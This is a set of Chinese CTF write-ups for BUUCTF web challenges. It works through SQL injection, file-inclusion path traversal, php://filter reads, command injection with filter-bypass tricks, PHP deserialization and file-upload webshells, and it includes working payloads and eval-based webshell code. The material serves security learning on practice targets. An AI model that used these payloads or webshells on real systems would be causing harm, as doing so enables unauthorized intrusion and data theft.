BUUCTF
EasySQL
知识点:万能密码
打开页面如下,可以看到一个登录框,随便输入用户名和密码都为1
发现页面跳转到check.php并将用户名和密码的输入带入数据库验证。测试一下闭合方式
可以发现当用户名输入为1’的时候出现了报错,判断为单引号闭合。于是尝试用万能密码
1' and 1=1#
1' and 1=2#
1' and '1'='1'#
1' or 1=1#
当尝试到第四个的时候出现flag 或者自己手动用hackbar传参
注意:GET传参要经过url编码,所以使用url进行输入时,不能使用#,而应该使用其url编码%23
Havefun
知识点:代码审计
打开页面 F12查看页面源码
发现存在代码逻辑,输入参数cat以GET方式提交,如果cat参数值为dog,则显示一段东西,于是hackbar上传get参数,拿到flag
HCTF WarmUp
知识点:代码审计+文件包含
打开页面,发现存在一个提示source.php,访问对应文件
跟据代码逻辑存在一个hint.php,访问一下,得到
第一次检查$page是否在白名单数组中,如果是返回true。这一步是基本的白名单验证,直接用in_array判断。
如果第一次检查不通过,那么用mb_substr处理page。mbsubstr截取从0开始到第一个?出现的位置的子字符串。具体做法是page。mb_substr截取从0开始到第一个?
如果还是不行,再次对$page进行URL解码,并重复之前的处理步骤:截取问号前的内容,再检查是否在白名单中。
接下来的主逻辑是检查$REQUEST[‘file’]是否存在、是字符串,并且通过emmm::checkFile的验证。如果返回值为true,则通过include语句包含$REQUEST[‘file’]指定的文件并终止程序执行,否则输出一个图片标签。
于是我们可以通过文件包含去尝试:先尝试包含hint.php
source.php?file=hint.php
跟单独访问hint.php无区别,到这,目前source.php的提示就用了,那么根据hint.php中的提示,flag在ffffllllaaaagggg。
我们这里可以在source.php中对传参进行一个分析:
传入file=hint.php,首先检查'hint.php'是否是一个字符串,它是字符串,条件通过;
检查'hint.php'是否在白名单中(白名单包括hint.php和source.php),在,继续执行后面的代码;
对'hint.php'执行mb_substr函数,但是函数内一个参数是来自另一个函数mb_strpos的返回值,因此我们先看mb_strpos函数,使用.进行字符连接,即连接了一个问号字符 '?',得到hint.php?
然后查找'?'在字符串'hint.php?'中第一次出现的位置,从0开始算,返回8,即length=8
接下来我们执行mb_substr函数,即 mb_substr('hint.php',0,8)
从字符串中的第一个字符处开始,返回8个字符,其实还是返回的hint.php;
然后对返回的内容进行url解码,重复执行上面的检查和截取操作。
我们只需要传入一个在白名单内的文件名(source.php或者hint.php),并添加上问号,这样可以保证每次找去用于检查的内容都在白名单,返回true。
那么我们的思路便理清了,即在source.php中存在一个文件包含的漏洞,接下来我们只需要找到ffffllllaaaagggg文件的位置就行了。
所以我们只需要输入 source.php?file=source.php?或者 source.php?filehint.php?即可绕过白名单检测,然后在输入…/逐级跳转目录读取flag即可,可以一个一个试
知识补充:
.表示当前目录
. .表示当前目录的上一级目录。
. ./表示当前目录下的某个文件或文件夹,视后面跟着的名字而定
./表示当前目录上一级目录的文件或文件夹,视后面跟着的名字而定。
例如:
文件夹 a
下面有 文件夹b c 和文件 d。
文件夹b下面有e.php 和文件f。
则e中的 . 表示 文件夹b
./f 表示b下面的文件f。
. .表示a文件夹。
. ./d 表示a文件夹下的d文件。
构造payload
source.php?file=hint.php?../ffffllllaaaagggg
或者source.php?file=hint.php?/../ffffllllaaaagggg
最后尝试得到
source.php?file=hint.php?../../../../../ffffllllaaaagggg
或者
source.php?file=hint.php?/../../../../ffffllllaaaagggg
即可拿到flag
这里做了一个小测试
当我输入source.php?file=hint.php/../../../../ffffllllaaaagggg 因为少了一个问号,无法跳过验证,从而回显you can’t see it
Include
知识点:文件包含+php伪协议+POST发送PHP代码
打开网址,提示点击tips,跳转到一个链接
http://ebc18792-9def-4f29-9a7c-ba7a1bf26620.node5.buuoj.cn:81/?file=flag.php
根据提示和题目判断应该是利用文件包含漏洞
首先考虑 “php://input”伪协议 + POST发送PHP代码 的经典套路
重新考虑之后使用 “php://filter”伪协议” 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
构造Payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
这里需要注意的是使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码
发送请求得到base64编码后的flag.php文件源码:
解码之,得到Flag
<?php
echo "Can you find out the flag?";
//flag{c61c3a8a-71e9-4f6b-beb7-d1599f47ea7f}
Ping Ping Ping
知识点:命令执行+文件名和空格绕过
打开页面提示输入参数 /?ip= ,输入本地地址,可以看到产生ping命令的结果
此处明显存在系统命令执行漏洞。这里输入大写IP=127.0.0.1,执行后会自动转换成小写,猜测这里应该是linux,直接构造payload: /?ip=127.0.0.1|ls 来查看当前目录下的文件
直接构造payload 读取flag文件:/?ip=127.0.0.1|cat /flag.php
根据提示访问对应地址,然后一直访问下去,可以看到提示应该是空格被过滤了
这里使用了多个方法,最后发现$IFS$9能绕过:?ip=127.0.0.1|tac$IFS$9flag.php
flag字段应该也被过滤了,我们尝试访问一下另外一个文件index.php,看看是不是文件名被过滤了
可以看到代码逻辑下,许多符号都被过滤了,包括:
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"
其中:这段代码是对flag进行贪婪匹配
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
源码中有一个$a变量可以覆盖
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
于是构想构造出如下payload
1、简单变量替换,用$a覆盖拼接flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
2、变量ab互换传递,绕过字符串匹配,实现拼接
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
或者 ?ip=127.0.0.1;b=lag;a=f;cat$IFS$a$b.php
3、内联执行
?ip=127.0.0.1;cat$IFS`ls`
?ip=127.0.0.1;cat$IFS$3`ls`
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1|cat$IFS$9`ls`
4、被过滤的bash,用管道+sh替换
cat flag.php用base64加密来绕过正则匹配:Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
但发现过滤了flag、bash,但sh没过滤,linux下可用sh
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
于是就能得到结果
总结:类似的绕过思路
cat fl* 用*匹配任意
cat fla* 用*匹配任意
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
HTTP
知识点:UA、Refer字段修改绕过HTTP头检测
打开查看源码找到Secret.php,访问后根据提示添加Referer:https://www.Sycsccret.com
修改后又说必须使用Syclover浏览器,我们这里直接修改User-Agent头即可 User-Agent:Syclover browser
又说No!!! you can only read this locally!!!,让我们伪造IP,在headers里面添加X-Forwarded-For:127.0.0.1即可得到flag
Knife
知识点:webshell一句话木马
登陆进去可以看到一句话木马,根据提示knife–刀,猜测使用中国菜刀连接,我这里直接使用蚁剑,然后连接后根目录下能找到对应flag
Exec
知识点:命令执行创建webshell
打开页面,出现一个ping,盲猜为命令执行
输入:127.0.0.1|ifconfig
成功回显。于是判断为linux系统
查看当前目录下的文件内容:
输入:127.0.0.1|ifconfig
.
..
index.php
查看当前用户和路径:
127.0.0.1|whoami
www-data
127.0.0.1|pwd
/var/www/html
尝试写入webshell
127.0.0.1|echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
(base64编码<?php eval($_POST[1]); ?>)
并用命令检查是否创建成功ls -a
直接蚁剑连接找flag即可
连接地址:http://ef5f9d12-0392-46b5-ad09-b27a7b1176c3.node5.buuoj.cn:81/2.php
PHP
知识点:php代码审计+php反序列化构造POP链+__wakeup()与private绕过
打开提示网站备份,于是我们用工具扫一扫
御剑没扫出来,我们用dirsearch试试,扫出来一个www.zip的文件,直接再url中拼接尝试下载,得到源码
注意对每次间隔的请求时间做限制,避免扫描过快导致扫描不出来东西,使用参数 -t 时间间隔
python dirsearch.py -u "http://example.com" -t 3 (每三秒一次)
获取源码之后可以看到有一个flag.php,直接打开得到以下内容,尝试提交,无果,依次查看其它的文件
简单代码审计,发现index.php下可以根据GET传参select来调用另一个文件class.php,并且采用了反序列化的方式。而class.php也直接包含了flag.php,且获取到class.php的判断条件:如果用户名为admin 密码为100。
于是构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
在线网站执行:PHP 在线工具 | 菜鸟工具
得到序列化后的字符串为:
string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
于是我们将参数值给select,这时候问题来了,在反序列化的时候会首先执行__wakeup()
魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup()
,而去执行__destruct
反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct,于是我们这样构造pyload:
?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
然后我们又意识到,这个变量时private
private声明的字段为私有字段,只在所声明的类中可见,在该类子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
于是我们在构造一回pyload: 将 2 改为 3 或者 比二大的数字,同时,我们要将口变为 %00 如果不写 在我们复制的时候就会减少 空格
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
最后将payload拼接在index.php之后即可拿到flag
LOVESQL
知识点:万能密码+union注入
[极客大挑战 2019]LoveSQL(最基础的sql注入,万能密码登录)-CSDN博客
[极客大挑战 2019]Upload
知识点:文件上传PHTML绕过+Gif89a
打开靶场环境,结合题目信息,判断为文件上传漏洞
上传一个PHP文件显示提示:不是图片,猜测可能需要绕过,先禁用前端JS试试,发现仍然不能上传成功,故判断不是前端限制,抓包测试:修改MIME为 Content-Type: image/jpeg 并在文件内容中习惯性加上GIF89a来绕过
被提示php文件不允许被上传,我们尝试上传一个phtml文件试试,.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。
这里根据提示可以得知文件内容中<? 被检测,发现我们的我们的文件内容还是为PHP的形式,我们修改一下,变成phtml的文件内容格式,内容如下
GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language='php'>@eval($_POST[shell]);</script>
这段代码就和php代码<?php @eval($_POST[‘shell’];?>表达意思一样
可以看到文件上传成功,现在需要知道图片的保存路径了,一般都是/upload查找含有的文件,访问一下
接下来用蚁剑连接读取flag即可
里面可以看到前辈们上传的各种文件绕过类型:
[SUCTF 2019]EasySQL
知识点:select $_POST[‘query’] || flag from flag SQL注入中的无回显情况中的或(“||”)
这个||的存在导致了输入字符的时候啥也不回显。既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag,但作为一道题目,from一定是from flag。于是能猜测查询语句为上述语句,这里的||在mysql中表示或,如果前一个操作数为真,则不看后面的语句,于是构造payload:select *,1 from flag;sql=select.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
buuctf-[SUCTF 2019]EasySQL 1(小宇特详解)-CSDN博客
[SUCTF 2019]EasySQL 1 Writeup(超级详细)_really easy sql-CSDN博客
[ACTF2020 新生赛]Upload
知识点:文件上传前端验证(禁用JS)+ 后端绕过对php的检测(采用phtml)
<script language='php'>@eval($_POST['a']);</script>
<script language='php'>system('cat /flag');</script>
[ACTF2020 新生赛]Upload-1_[actf2020 新生赛]upload 1-CSDN博客
[极客大挑战 2019]Secret File
进入环境
首先老规矩,看一下源码,发现一个php文件。
访问该文件查看一下内容,提示有一个SECRET的按钮
点击之后发生了跳转,并给出提示
回头查看一下之前的源码
可以发现我们在点击SECRET按钮之后,应该会跳转到/action.php,但是最后显示的是end.php,于是怀疑这里应该是有重定向,我们抓包看一下
成功截获到/action.php的内容,于是我们访问secr3t.php
跟据提示我们直接访问flag.php
于是我们对secr3t.php进行代码审计
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
代码首先传递参数file,且对file进行过滤。不允许出现file中包含"../"、"tp"、"input"、"data"这写关键字,然后通过文件包含函数 include()将file传递的内容作为参数进行引用,明显的文件包含漏洞,需要绕过"../"、"tp"、"input"、"data" 对flag.php进行一个包含
于是利用利用 php://filter
协议 构造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
最后识别为Base64加密,进行解密即可获取flag。
[RoarCTF 2019]Easy Calc
参考:【BUUCTF】 [RoarCTF 2019]Easy Calc 详细题解笔记 Writeup_scandir被过滤-CSDN博客
知识点:PHP函数、PHP字符串解析特性绕过一些限制
进入环境。是一个在线计算器的web,老规矩先看源码
根据提示,网站已部署WAF,但是查看下半段代码
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
解释:$("#content").val() 用于获取id为content的HTML标签元素的值
$("#content")等同于document.getElementById(“content”)
$("#content").val()等同于document.getElementById(“content”).value
这段代码对表单数提交的 AJAX(AJAX(Asynchronous JavaScript and XML)是一种在无需重新加载整个网页的情况下,能够更新部分网页的技术。) 请求进行处理。并调用了.ajax方法,参数包含url、type、success和error回调函数,"calc.php?num="+encodeURIComponent($("#content").val()),这里构造了一个GET请求的URL,将id为content的元素的value值进行编码后作为num参数传递给calc.php。type限定为GET请求,然后利用success和error回调函数来返回结果,最后return false: 阻止表单默认的同步提交(页面刷新)。
然后当我们故意输入不能被识别的数据时,触发了弹窗,但是这里没有明显的利用痕迹
于是我们先访问一下calc.php的源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
可以看到这段代码进行了相应的黑名单限制,这里的话num只能输入数字,字母无法输入
这里需要补充知识1:
正则匹配:/m 表示多行匹配
PHP字符串解析特性绕过WAF
输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)
现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。
例如我们这里利用PHP的字符删除空格的特性构造访问phpinfo
http://node3.buuoj.cn:29098/calc.php? num=phpinfo()
补充知识2:
php函数:
scandir("/"):扫描某个目录并将结果以array形式返回,配合vardump 可以替代system('ls;')
var_dump():将变量以字符串形式输出,替代print和echo
file_get_contents():名思义获取一个文件的内容,替代system('cat flag;')
chr(数字):ASCII范围的整数转字符
整理一下目前的可利用点
num无法输入数字以外的其他东西----采用加空格绕过但是waf存在不允许输入空格
scandir()函数读取文件时,存在waf不允许使用空格 / /t /r等字眼 于是可利用chr()函数搭配ascii吗进行绕过
于是构造payload
1、查看目录,找flag
calc.php? num=1;var_dump(scandir(chr(47))) //chr(47)就是"/"的替代,表示查找当前根目录下的所有文件,并以数组形式反馈出来,发现了f1agg字样
2、读取f1agg文件
calc.php? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) //"."表示连接前后这里ascii码转换之后就是"/f1agg"
补充知识:
这里的空格绕过还能换成+号绕过:calc.php?+num=1;var_dump(scandir(chr(47)))
calc.php?+num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
这里的chr(47)也可以换为hex2bin(dechex(47)):dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。
calc.php?+num=1;var_dump(scandir(hex2bin(dechex(47))))
这里的file函数还能换成file_get_contents()函数
calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))